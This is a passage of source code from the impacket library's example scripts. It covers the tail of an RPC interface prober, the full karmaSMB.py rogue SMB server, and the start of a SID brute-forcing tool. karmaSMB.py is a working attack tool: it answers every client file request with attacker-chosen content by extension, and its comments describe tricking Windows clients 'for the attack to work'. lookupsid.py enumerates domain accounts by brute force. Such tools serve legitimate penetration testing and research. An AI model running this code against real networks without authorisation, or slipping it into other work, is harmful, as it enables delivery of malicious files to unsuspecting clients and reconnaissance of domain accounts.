c681d488-d850-11d0-8c52-00c04fd90f7e v1.0 c6f3ee72-ce7e-11d1-b71e-00c04fc3111a v1.0 c8cb7687-e6d3-11d2-a958-00c04f682e16 v1.0 c9378ff1-16f7-11d0-a0b2-00aa0061426a v1.0 c9ac6db5-82b7-4e55-ae8a-e464ed7b4277 v1.0 ce1334a5-41dd-40ea-881d-64326b23effe v0.2 d049b186-814f-11d1-9a3c-00c04fc9b232 v1.1 d2d79dfa-3400-11d0-b40b-00aa005ff586 v1.0 d335b8f6-cb31-11d0-b0f9-006097ba4e54 v1.5 d3fbb514-0e3b-11cb-8fad-08002b1d29c3 v1.0 d4781cd6-e5d3-44df-ad94-930efe48a887 v0.0 d6d70ef0-0e3b-11cb-acc3-08002b1d29c3 v1.0 d6d70ef0-0e3b-11cb-acc3-08002b1d29c4 v1.0 d7f9e1c0-2247-11d1-ba89-00c04fd91268 v5.0 d95afe70-a6d5-4259-822e-2c84da1ddb0d v1.0 dd490425-5325-4565-b774-7e27d6c09c24 v1.0 e1af8308-5d1f-11c9-91a4-08002b14a0fa v3.0 e248d0b8-bf15-11cf-8c5e-08002bb49649 v2.0 e33c0cc4-0482-101a-bc0c-02608c6ba218 v1.0 e3514235-4b06-11d1-ab04-00c04fc2dcd2 v4.0 e60c73e6-88f9-11cf-9af1-0020af6e72f4 v2.0 e67ab081-9844-3521-9d32-834f038001c0 v1.0 e76ea56d-453f-11cf-bfec-08002be23f2f v2.0 ea0a3165-4834-11d2-a6f8-00c04fa346cc v4.0 eb658b8a-7a64-4ddc-9b8d-a92610db0206 v0.0 ec02cae0-b9e0-11d2-be62-0020afeddf63 v1.0 ecec0d70-a603-11d0-96b1-00a0c91ece30 v1.0 ecec0d70-a603-11d0-96b1-00a0c91ece30 v2.0 eff55e30-4ee2-11ce-a3c9-00aa00607271 v1.0 f309ad18-d86a-11d0-a075-00c04fb68820 v0.0 f50aac00-c7f3-428e-a022-a6b71bfb9d43 v1.0 f5cc59b4-4264-101a-8c59-08002b2f8426 v1.1 f5cc5a18-4264-101a-8c59-08002b2f8426 v56.0 f5cc5a7c-4264-101a-8c59-08002b2f8426 v21.0 f6beaff7-1e19-4fbb-9f8f-b89e2018337c v1.0 f930c514-1215-11d3-99a5-00a0c9b61b04 v1.0 fc13257d-5567-4dea-898d-c6f9c48415a0 v1.0 fd7a0523-dc70-43dd-9b2e-9c5ed48225b1 v1.0 fdb3a030-065f-11d1-bb9b-00a024ea5525 v1.0 ffe561b8-bf15-11cf-8c5e-08002bb49649 v2.0 """.splitlines() if line) uuid_database = set((uuidstr.upper(), ver) for uuidstr, ver in uuid_database) # add the ones from ndrutils k = KNOWN_UUIDS.keys()[0] def fix_ndr_uuid(ndruuid): assert len(ndruuid) == 18 uuid = ndruuid[:16] maj, min = struct.unpack("BB", ndruuid[16:]) return uuid + struct.pack(" " return 1 host = args[0] port = int(args[1]) stringbinding = "ncacn_ip_tcp:%s" % host trans = transport.DCERPCTransportFactory(stringbinding) trans.set_dport(port) dce = trans.get_dce_rpc() dce.connect() dce.bind(mgmt.MSRPC_UUID_MGMT) ifids = mgmt.hinq_if_ids(dce) uuidtups = set( uuid.bin_to_uuidtup(ifids['if_id_vector']['if_id'][index]['Data'].getData()) for index in range(ifids['if_id_vector']['count']) ) dce.disconnect() probes = uuidtups | uuid_database for tup in sorted(probes): dce.connect() binuuid = uuid.uuidtup_to_bin(tup) try: dce.bind(binuuid) except rpcrt.DCERPCException, e: if str(e).find('abstract_syntax_not_supported') >= 0: listening = False else: raise else: listening = True listed = tup in uuidtups otherversion = any(tup[0] == uuidstr for uuidstr, ver in uuidtups) if listed or listening: print "%r: %s, %s" % ( tup, "listed" if listed else "other version listed" if otherversion else "not listed", "listening" if listening else "not listening" ) if epm.KNOWN_PROTOCOLS.has_key(tup[0]): print "Protocol: %s" % (epm.KNOWN_PROTOCOLS[tup[0]]) else: print "Procotol: N/A" if KNOWN_UUIDS.has_key(uuid.uuidtup_to_bin(tup)[:18]): print "Provider: %s" % (KNOWN_UUIDS[uuid.uuidtup_to_bin(tup)[:18]]) else: print "Provider: N/A" if __name__ == "__main__": sys.exit(main(sys.argv[1:])) impacket-0.9.15/examples/karmaSMB.py0000700000076500000000000006644412734531507017315 0ustar betowheel00000000000000#!/usr/bin/python # Copyright (c) 2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Karma SMB # # Author: # Alberto Solino (@agsolino) # Original idea by @mubix # # Description: # The idea of this script is to answer any file read request # with a set of predefined contents based on the extension # asked, regardless of the sharename and/or path. # When executing this script w/o a config file the pathname # file contents will be sent for every request. # If a config file is specified, format should be this way: # = # for example: # bat = /tmp/batchfile # com = /tmp/comfile # exe = /tmp/exefile # # The SMB2 support works with a caveat. If two different # filenames at the same share are requested, the first # one will work and the second one will not work if the request # is performed right away. This seems related to the # QUERY_DIRECTORY request, where we return the files available. # In the first try, we return the file that was asked to open. # In the second try, the client will NOT ask for another # QUERY_DIRECTORY but will use the cached one. This time the new file # is not there, so the client assumes it doesn't exist. # After a few seconds, looks like the client cache is cleared and # the operation works again. Further research is needed trying # to avoid this from happening. # # SMB1 seems to be working fine on that scenario. # # ToDo: # [ ] A lot of testing needed under different OSes. # I'm still not sure how reliable this approach is. # [ ] Add support for other SMB read commands. Right now just # covering SMB_COM_NT_CREATE_ANDX # [ ] Disable write request, now if the client tries to copy # a file back to us, it will overwrite the files we're # hosting. *CAREFUL!!!* # import sys import os import argparse import logging import ntpath import ConfigParser from threading import Thread from impacket.examples import logger from impacket import smbserver, smb, version import impacket.smb3structs as smb2 from impacket.smb import FILE_OVERWRITE, FILE_OVERWRITE_IF, FILE_WRITE_DATA, FILE_APPEND_DATA, GENERIC_WRITE from impacket.nt_errors import STATUS_USER_SESSION_DELETED, STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_NO_MORE_FILES, \ STATUS_OBJECT_PATH_NOT_FOUND from impacket.smbserver import SRVSServer, decodeSMBString, findFirst2, STATUS_SMB_BAD_TID, encodeSMBString, \ getFileTime, queryPathInformation class KarmaSMBServer(Thread): def __init__(self, smb2Support = False): Thread.__init__(self) self.server = 0 self.defaultFile = None self.extensions = {} # Here we write a mini config for the server smbConfig = ConfigParser.ConfigParser() smbConfig.add_section('global') smbConfig.set('global','server_name','server_name') smbConfig.set('global','server_os','UNIX') smbConfig.set('global','server_domain','WORKGROUP') smbConfig.set('global','log_file','smb.log') smbConfig.set('global','credentials_file','') # IPC always needed smbConfig.add_section('IPC$') smbConfig.set('IPC$','comment','Logon server share') smbConfig.set('IPC$','read only','yes') smbConfig.set('IPC$','share type','3') smbConfig.set('IPC$','path','') # NETLOGON always needed smbConfig.add_section('NETLOGON') smbConfig.set('NETLOGON','comment','Logon server share') smbConfig.set('NETLOGON','read only','no') smbConfig.set('NETLOGON','share type','0') smbConfig.set('NETLOGON','path','') # SYSVOL always needed smbConfig.add_section('SYSVOL') smbConfig.set('SYSVOL','comment','') smbConfig.set('SYSVOL','read only','no') smbConfig.set('SYSVOL','share type','0') smbConfig.set('SYSVOL','path','') if smb2Support: smbConfig.set("global", "SMB2Support", "True") self.server = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig) self.server.processConfigFile() # Unregistering some dangerous and unwanted commands self.server.unregisterSmbCommand(smb.SMB.SMB_COM_CREATE_DIRECTORY) self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE_DIRECTORY) self.server.unregisterSmbCommand(smb.SMB.SMB_COM_RENAME) self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE) self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE) self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE_ANDX) self.server.unregisterSmb2Command(smb2.SMB2_WRITE) self.origsmbComNtCreateAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX, self.smbComNtCreateAndX) self.origsmbComTreeConnectAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX) self.origQueryPathInformation = self.server.hookTransaction2(smb.SMB.TRANS2_QUERY_PATH_INFORMATION, self.queryPathInformation) self.origFindFirst2 = self.server.hookTransaction2(smb.SMB.TRANS2_FIND_FIRST2, self.findFirst2) # And the same for SMB2 self.origsmb2TreeConnect = self.server.hookSmb2Command(smb2.SMB2_TREE_CONNECT, self.smb2TreeConnect) self.origsmb2Create = self.server.hookSmb2Command(smb2.SMB2_CREATE, self.smb2Create) self.origsmb2QueryDirectory = self.server.hookSmb2Command(smb2.SMB2_QUERY_DIRECTORY, self.smb2QueryDirectory) self.origsmb2Read = self.server.hookSmb2Command(smb2.SMB2_READ, self.smb2Read) self.origsmb2Close = self.server.hookSmb2Command(smb2.SMB2_CLOSE, self.smb2Close) # Now we have to register the MS-SRVS server. This specially important for # Windows 7+ and Mavericks clients since they WONT (specially OSX) # ask for shares using MS-RAP. self.__srvsServer = SRVSServer() self.__srvsServer.daemon = True self.server.registerNamedPipe('srvsvc',('127.0.0.1',self.__srvsServer.getListenPort())) def findFirst2(self, connId, smbServer, recvPacket, parameters, data, maxDataCount): connData = smbServer.getConnectionData(connId) respSetup = '' respParameters = '' respData = '' findFirst2Parameters = smb.SMBFindFirst2_Parameters( recvPacket['Flags2'], data = parameters) # 1. Let's grab the extension and map the file's contents we will deliver origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],findFirst2Parameters['FileName']).replace('\\','/')) origFileName = os.path.basename(origPathName) _, origPathNameExtension = os.path.splitext(origPathName) origPathNameExtension = origPathNameExtension.upper()[1:] if self.extensions.has_key(origPathNameExtension.upper()): targetFile = self.extensions[origPathNameExtension.upper()] else: targetFile = self.defaultFile if connData['ConnectedShares'].has_key(recvPacket['Tid']): path = connData['ConnectedShares'][recvPacket['Tid']]['path'] # 2. We call the normal findFirst2 call, but with our targetFile searchResult, searchCount, errorCode = findFirst2(path, targetFile, findFirst2Parameters['InformationLevel'], findFirst2Parameters['SearchAttributes'] ) respParameters = smb.SMBFindFirst2Response_Parameters() endOfSearch = 1 sid = 0x80 # default SID searchCount = 0 totalData = 0 for i in enumerate(searchResult): #i[1].dump() try: # 3. And we restore the original filename requested ;) i[1]['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = origFileName) except: pass data = i[1].getData() lenData = len(data) if (totalData+lenData) >= maxDataCount or (i[0]+1) > findFirst2Parameters['SearchCount']: # We gotta stop here and continue on a find_next2 endOfSearch = 0 # Simple way to generate a fid if len(connData['SIDs']) == 0: sid = 1 else: sid = connData['SIDs'].keys()[-1] + 1 # Store the remaining search results in the ConnData SID connData['SIDs'][sid] = searchResult[i[0]:] respParameters['LastNameOffset'] = totalData break else: searchCount +=1 respData += data totalData += lenData respParameters['SID'] = sid respParameters['EndOfSearch'] = endOfSearch respParameters['SearchCount'] = searchCount else: errorCode = STATUS_SMB_BAD_TID smbServer.setConnectionData(connId, connData) return respSetup, respParameters, respData, errorCode def smbComNtCreateAndX(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId) ntCreateAndXParameters = smb.SMBNtCreateAndX_Parameters(SMBCommand['Parameters']) ntCreateAndXData = smb.SMBNtCreateAndX_Data( flags = recvPacket['Flags2'], data = SMBCommand['Data']) respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX) #ntCreateAndXParameters.dump() # Let's try to avoid allowing write requests from the client back to us # not 100% bulletproof, plus also the client might be using other SMB # calls (e.g. SMB_COM_WRITE) createOptions = ntCreateAndXParameters['CreateOptions'] if createOptions & smb.FILE_DELETE_ON_CLOSE == smb.FILE_DELETE_ON_CLOSE: errorCode = STATUS_ACCESS_DENIED elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE == FILE_OVERWRITE: errorCode = STATUS_ACCESS_DENIED elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE_IF == FILE_OVERWRITE_IF: errorCode = STATUS_ACCESS_DENIED elif ntCreateAndXParameters['AccessMask'] & smb.FILE_WRITE_DATA == FILE_WRITE_DATA: errorCode = STATUS_ACCESS_DENIED elif ntCreateAndXParameters['AccessMask'] & smb.FILE_APPEND_DATA == FILE_APPEND_DATA: errorCode = STATUS_ACCESS_DENIED elif ntCreateAndXParameters['AccessMask'] & smb.GENERIC_WRITE == GENERIC_WRITE: errorCode = STATUS_ACCESS_DENIED elif ntCreateAndXParameters['AccessMask'] & 0x10000 == 0x10000: errorCode = STATUS_ACCESS_DENIED else: errorCode = STATUS_SUCCESS if errorCode == STATUS_ACCESS_DENIED: return [respSMBCommand], None, errorCode # 1. Let's grab the extension and map the file's contents we will deliver origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],ntCreateAndXData['FileName']).replace('\\','/')) _, origPathNameExtension = os.path.splitext(origPathName) origPathNameExtension = origPathNameExtension.upper()[1:] if self.extensions.has_key(origPathNameExtension.upper()): targetFile = self.extensions[origPathNameExtension.upper()] else: targetFile = self.defaultFile # 2. We change the filename in the request for our targetFile ntCreateAndXData['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = targetFile) SMBCommand['Data'] = str(ntCreateAndXData) smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO) # 3. We call the original call with our modified data return self.origsmbComNtCreateAndX(connId, smbServer, SMBCommand, recvPacket) def queryPathInformation(self, connId, smbServer, recvPacket, parameters, data, maxDataCount = 0): # The trick we play here is that Windows clients first ask for the file # and then it asks for the directory containing the file. # It is important to answer the right questions for the attack to work connData = smbServer.getConnectionData(connId) respSetup = '' respParameters = '' respData = '' errorCode = 0 queryPathInfoParameters = smb.SMBQueryPathInformation_Parameters(flags = recvPacket['Flags2'], data = parameters) if connData['ConnectedShares'].has_key(recvPacket['Tid']): path = '' try: origPathName = decodeSMBString(recvPacket['Flags2'], queryPathInfoParameters['FileName']) origPathName = os.path.normpath(origPathName.replace('\\','/')) if connData.has_key('MS15011') is False: connData['MS15011'] = {} smbServer.log("Client is asking for QueryPathInformation for: %s" % origPathName,logging.INFO) if connData['MS15011'].has_key(origPathName) or origPathName == '.': # We already processed this entry, now it's asking for a directory infoRecord, errorCode = queryPathInformation(path, '/', queryPathInfoParameters['InformationLevel']) else: # First time asked, asking for the file infoRecord, errorCode = queryPathInformation(path, self.defaultFile, queryPathInfoParameters['InformationLevel']) connData['MS15011'][os.path.dirname(origPathName)] = infoRecord except Exception, e: #import traceback #traceback.print_exc() smbServer.log("queryPathInformation: %s" % e,logging.ERROR) if infoRecord is not None: respParameters = smb.SMBQueryPathInformationResponse_Parameters() respData = infoRecord else: errorCode = STATUS_SMB_BAD_TID smbServer.setConnectionData(connId, connData) return respSetup, respParameters, respData, errorCode def smb2Read(self, connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId) connData['MS15011']['StopConnection'] = True smbServer.setConnectionData(connId, connData) return self.origsmb2Read(connId, smbServer, recvPacket) def smb2Close(self, connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId) # We're closing the connection trying to flush the client's # cache. if connData['MS15011']['StopConnection'] is True: return [smb2.SMB2Error()], None, STATUS_USER_SESSION_DELETED return self.origsmb2Close(connId, smbServer, recvPacket) def smb2Create(self, connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId) ntCreateRequest = smb2.SMB2Create(recvPacket['Data']) # Let's try to avoid allowing write requests from the client back to us # not 100% bulletproof, plus also the client might be using other SMB # calls createOptions = ntCreateRequest['CreateOptions'] if createOptions & smb2.FILE_DELETE_ON_CLOSE == smb2.FILE_DELETE_ON_CLOSE: errorCode = STATUS_ACCESS_DENIED elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE == smb2.FILE_OVERWRITE: errorCode = STATUS_ACCESS_DENIED elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE_IF == smb2.FILE_OVERWRITE_IF: errorCode = STATUS_ACCESS_DENIED elif ntCreateRequest['DesiredAccess'] & smb2.FILE_WRITE_DATA == smb2.FILE_WRITE_DATA: errorCode = STATUS_ACCESS_DENIED elif ntCreateRequest['DesiredAccess'] & smb2.FILE_APPEND_DATA == smb2.FILE_APPEND_DATA: errorCode = STATUS_ACCESS_DENIED elif ntCreateRequest['DesiredAccess'] & smb2.GENERIC_WRITE == smb2.GENERIC_WRITE: errorCode = STATUS_ACCESS_DENIED elif ntCreateRequest['DesiredAccess'] & 0x10000 == 0x10000: errorCode = STATUS_ACCESS_DENIED else: errorCode = STATUS_SUCCESS if errorCode == STATUS_ACCESS_DENIED: return [smb2.SMB2Error()], None, errorCode # 1. Let's grab the extension and map the file's contents we will deliver origPathName = os.path.normpath(ntCreateRequest['Buffer'][:ntCreateRequest['NameLength']].decode('utf-16le').replace('\\','/')) _, origPathNameExtension = os.path.splitext(origPathName) origPathNameExtension = origPathNameExtension.upper()[1:] # Are we being asked for a directory? if (createOptions & smb2.FILE_DIRECTORY_FILE) == 0: if self.extensions.has_key(origPathNameExtension.upper()): targetFile = self.extensions[origPathNameExtension.upper()] else: targetFile = self.defaultFile connData['MS15011']['FileData'] = (os.path.basename(origPathName), targetFile) smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO) else: targetFile = '/' # 2. We change the filename in the request for our targetFile try: ntCreateRequest['Buffer'] = targetFile.encode('utf-16le') except UnicodeDecodeError: import sys ntCreateRequest['Buffer'] = targetFile.decode(sys.getfilesystemencoding()).encode('utf-16le') ntCreateRequest['NameLength'] = len(targetFile)*2 recvPacket['Data'] = str(ntCreateRequest) # 3. We call the original call with our modified data return self.origsmb2Create(connId, smbServer, recvPacket) def smb2QueryDirectory(self, connId, smbServer, recvPacket): # Windows clients with SMB2 will also perform a QueryDirectory # expecting to get the filename asked. So we deliver it :) connData = smbServer.getConnectionData(connId) respSMBCommand = smb2.SMB2QueryDirectory_Response() #queryDirectoryRequest = smb2.SMB2QueryDirectory(recvPacket['Data']) errorCode = 0xff respSMBCommand['Buffer'] = '\x00' errorCode = STATUS_SUCCESS #if (queryDirectoryRequest['Flags'] & smb2.SL_RETURN_SINGLE_ENTRY) == 0: # return [smb2.SMB2Error()], None, STATUS_NOT_SUPPORTED if connData['MS15011']['FindDone'] is True: connData['MS15011']['FindDone'] = False smbServer.setConnectionData(connId, connData) return [smb2.SMB2Error()], None, STATUS_NO_MORE_FILES else: origName, targetFile = connData['MS15011']['FileData'] (mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(targetFile) infoRecord = smb.SMBFindFileIdBothDirectoryInfo( smb.SMB.FLAGS2_UNICODE ) infoRecord['ExtFileAttributes'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE infoRecord['EaSize'] = 0 infoRecord['EndOfFile'] = size infoRecord['AllocationSize'] = size infoRecord['CreationTime'] = getFileTime(ctime) infoRecord['LastAccessTime'] = getFileTime(atime) infoRecord['LastWriteTime'] = getFileTime(mtime) infoRecord['LastChangeTime'] = getFileTime(mtime) infoRecord['ShortName'] = '\x00'*24 #infoRecord['FileName'] = os.path.basename(origName).encode('utf-16le') infoRecord['FileName'] = origName.encode('utf-16le') padLen = (8-(len(infoRecord) % 8)) % 8 infoRecord['NextEntryOffset'] = 0 respSMBCommand['OutputBufferOffset'] = 0x48 respSMBCommand['OutputBufferLength'] = len(infoRecord.getData()) respSMBCommand['Buffer'] = infoRecord.getData() + '\xaa'*padLen connData['MS15011']['FindDone'] = True smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode def smb2TreeConnect(self, connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId) respPacket = smb2.SMB2Packet() respPacket['Flags'] = smb2.SMB2_FLAGS_SERVER_TO_REDIR respPacket['Status'] = STATUS_SUCCESS respPacket['CreditRequestResponse'] = 1 respPacket['Command'] = recvPacket['Command'] respPacket['SessionID'] = connData['Uid'] respPacket['Reserved'] = recvPacket['Reserved'] respPacket['MessageID'] = recvPacket['MessageID'] respPacket['TreeID'] = recvPacket['TreeID'] respSMBCommand = smb2.SMB2TreeConnect_Response() treeConnectRequest = smb2.SMB2TreeConnect(recvPacket['Data']) errorCode = STATUS_SUCCESS ## Process here the request, does the share exist? path = str(recvPacket)[treeConnectRequest['PathOffset']:][:treeConnectRequest['PathLength']] UNCOrShare = path.decode('utf-16le') # Is this a UNC? if ntpath.ismount(UNCOrShare): path = UNCOrShare.split('\\')[3] else: path = ntpath.basename(UNCOrShare) # We won't search for the share.. all of them exist :P #share = searchShare(connId, path.upper(), smbServer) connData['MS15011'] = {} connData['MS15011']['FindDone'] = False connData['MS15011']['StopConnection'] = False share = {} if share is not None: # Simple way to generate a Tid if len(connData['ConnectedShares']) == 0: tid = 1 else: tid = connData['ConnectedShares'].keys()[-1] + 1 connData['ConnectedShares'][tid] = share connData['ConnectedShares'][tid]['path'] = '/' connData['ConnectedShares'][tid]['shareName'] = path respPacket['TreeID'] = tid #smbServer.log("Connecting Share(%d:%s)" % (tid,path)) else: smbServer.log("SMB2_TREE_CONNECT not found %s" % path, logging.ERROR) errorCode = STATUS_OBJECT_PATH_NOT_FOUND respPacket['Status'] = errorCode ## if path == 'IPC$': respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_PIPE respSMBCommand['ShareFlags'] = 0x30 else: respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_DISK respSMBCommand['ShareFlags'] = 0x0 respSMBCommand['Capabilities'] = 0 respSMBCommand['MaximalAccess'] = 0x011f01ff respPacket['Data'] = respSMBCommand smbServer.setConnectionData(connId, connData) return None, [respPacket], errorCode def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId) resp = smb.NewSMBPacket() resp['Flags1'] = smb.SMB.FLAGS1_REPLY resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE resp['Tid'] = recvPacket['Tid'] resp['Mid'] = recvPacket['Mid'] resp['Pid'] = connData['Pid'] respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX) respParameters = smb.SMBTreeConnectAndXResponse_Parameters() respData = smb.SMBTreeConnectAndXResponse_Data() treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters']) if treeConnectAndXParameters['Flags'] & 0x8: respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters() treeConnectAndXData = smb.SMBTreeConnectAndX_Data( flags = recvPacket['Flags2'] ) treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength'] treeConnectAndXData.fromString(SMBCommand['Data']) errorCode = STATUS_SUCCESS UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path']) # Is this a UNC? if ntpath.ismount(UNCOrShare): path = UNCOrShare.split('\\')[3] else: path = ntpath.basename(UNCOrShare) # We won't search for the share.. all of them exist :P smbServer.log("TreeConnectAndX request for %s" % path, logging.INFO) #share = searchShare(connId, path, smbServer) share = {} # Simple way to generate a Tid if len(connData['ConnectedShares']) == 0: tid = 1 else: tid = connData['ConnectedShares'].keys()[-1] + 1 connData['ConnectedShares'][tid] = share connData['ConnectedShares'][tid]['path'] = '/' connData['ConnectedShares'][tid]['shareName'] = path resp['Tid'] = tid #smbServer.log("Connecting Share(%d:%s)" % (tid,path)) respParameters['OptionalSupport'] = smb.SMB.SMB_SUPPORT_SEARCH_BITS if path == 'IPC$': respData['Service'] = 'IPC' else: respData['Service'] = path respData['PadLen'] = 0 respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS' ) respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData resp['Uid'] = connData['Uid'] resp.addCommand(respSMBCommand) smbServer.setConnectionData(connId, connData) return None, [resp], errorCode def _start(self): self.server.serve_forever() def run(self): logging.info("Setting up SMB Server") self._start() def setDefaultFile(self, filename): self.defaultFile = filename def setExtensionsConfig(self, filename): for line in filename.readlines(): line = line.strip('\r\n ') if line.startswith('#') is not True and len(line) > 0: extension, pathName = line.split('=') self.extensions[extension.strip().upper()] = os.path.normpath(pathName.strip()) # Process command-line arguments. if __name__ == '__main__': # Init the example's logger theme logger.init() print version.BANNER parser = argparse.ArgumentParser(add_help = False, description = "For every file request received, this module will return the pathname contents") parser.add_argument("--help", action="help", help='show this help message and exit') parser.add_argument('fileName', action='store', metavar = 'pathname', help="Pathname's contents to deliver to SMB clients") parser.add_argument('-config', type=argparse.FileType('r'), metavar = 'pathname', help='config file name to map extensions to files to deliver. For those extensions not present, pathname will be delivered') parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)') if len(sys.argv)==1: parser.print_help() sys.exit(1) try: options = parser.parse_args() except Exception, e: logging.critical(str(e)) sys.exit(1) s = KarmaSMBServer(options.smb2support) s.setDefaultFile(os.path.normpath(options.fileName)) if options.config is not None: s.setExtensionsConfig(options.config) s.start() logging.info("Servers started, waiting for connections") while True: try: sys.stdin.read() except KeyboardInterrupt: sys.exit(1) else: pass impacket-0.9.15/examples/lookupsid.py0000700000076500000000000001442312734531507017657 0ustar betowheel00000000000000#!/usr/bin/python # Copyright (c) 2012-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # DCE/RPC lookup sid brute forcer example # # Author: # Alberto Solino (@agsolino) # # Reference for: # DCE/RPC [MS-LSAT] import sys import logging import argparse import codecs from impacket.examples import logger from impacket import version from impacket.dcerpc.v5 import transport, lsat, lsad from impacket.dcerpc.v5.samr import SID_NAME_USE from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED from impacket.dcerpc.v5.rpcrt import DCERPCException class LSALookupSid: KNOWN_PROTOCOLS = { '139/SMB': (r'ncacn_np:%s[\pipe\lsarpc]', 139), '445/SMB': (r'ncacn_np:%s[\pipe\lsarpc]', 445), '135/TCP': (r'ncacn_ip_tcp:%s', 135), } def __init__(self, username, password, domain, protocols = None, hashes = None, maxRid=4000): if not protocols: protocols = LSALookupSid.KNOWN_PROTOCOLS.keys() self.__username = username self.__password = password self.__protocols = [protocols] self.__maxRid = int(maxRid) self.__domain = domain self.__lmhash = '' self.__nthash = '' if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') def dump(self, addr): logging.info('Brute forcing SIDs at %s' % addr) # Try all requested protocols until one works. for protocol in self.__protocols: protodef = LSALookupSid.KNOWN_PROTOCOLS[protocol] port = protodef[1] logging.info("Trying protocol %s..." % protocol) stringbinding = protodef[0] % addr rpctransport = transport.DCERPCTransportFactory(stringbinding) rpctransport.set_dport(port) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) try: self.__bruteForce(rpctransport, self.__maxRid) except Exception, e: #import traceback #print traceback.print_exc() logging.critical(str(e)) raise else: # Got a response. No need for further iterations. break def __bruteForce(self, rpctransport, maxRid): dce = rpctransport.get_dce_rpc() entries = [] dce.connect() # Want encryption? Uncomment next line # But make SIMULTANEOUS variable <= 100 #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) # Want fragmentation? Uncomment next line #dce.set_max_fragment_size(32) dce.bind(lsat.MSRPC_UUID_LSAT) resp = lsat.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES) policyHandle = resp['PolicyHandle'] resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation) domainSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical() soFar = 0 SIMULTANEOUS = 1000 for j in range(maxRid/SIMULTANEOUS+1): if (maxRid - soFar) / SIMULTANEOUS == 0: sidsToCheck = (maxRid - soFar) % SIMULTANEOUS else: sidsToCheck = SIMULTANEOUS if sidsToCheck == 0: break sids = list() for i in xrange(soFar, soFar+sidsToCheck): sids.append(domainSid + '-%d' % i) try: lsat.hLsarLookupSids(dce, policyHandle, sids,lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta) except DCERPCException, e: if str(e).find('STATUS_NONE_MAPPED') >= 0: soFar += SIMULTANEOUS continue elif str(e).find('STATUS_SOME_NOT_MAPPED') >= 0: resp = e.get_packet() else: raise for n, item in enumerate(resp['TranslatedNames']['Names']): if item['Use'] != SID_NAME_USE.SidTypeUnknown: print "%d: %s\\%s (%s)" % ( soFar + n, resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'], item['Name'], SID_NAME_USE.enumItems(item['Use']).name) soFar += SIMULTANEOUS dce.disconnect() return entries # Process command-line arguments. if __name__ == '__main__': # Init the example's logger theme logger.init() # Explicitly changing the stdout encoding format if sys.stdout.encoding is None: # Output is redirected to a file sys.stdout = codecs.getwriter('utf8')(sys.stdout) print version.BANNER parser = argparse.ArgumentParser() parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') parser.add_argument('maxRid', action='store', default = '4000', nargs='?', help='max Rid to check (default 4000)') parser.add_argument('protocol', choices=LSALookupSid.KNOWN_PROTOCOLS.keys(), nargs='?', default='445/SMB', help='transport protocol (default 445/SMB)') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() import re domain, username, password, address = 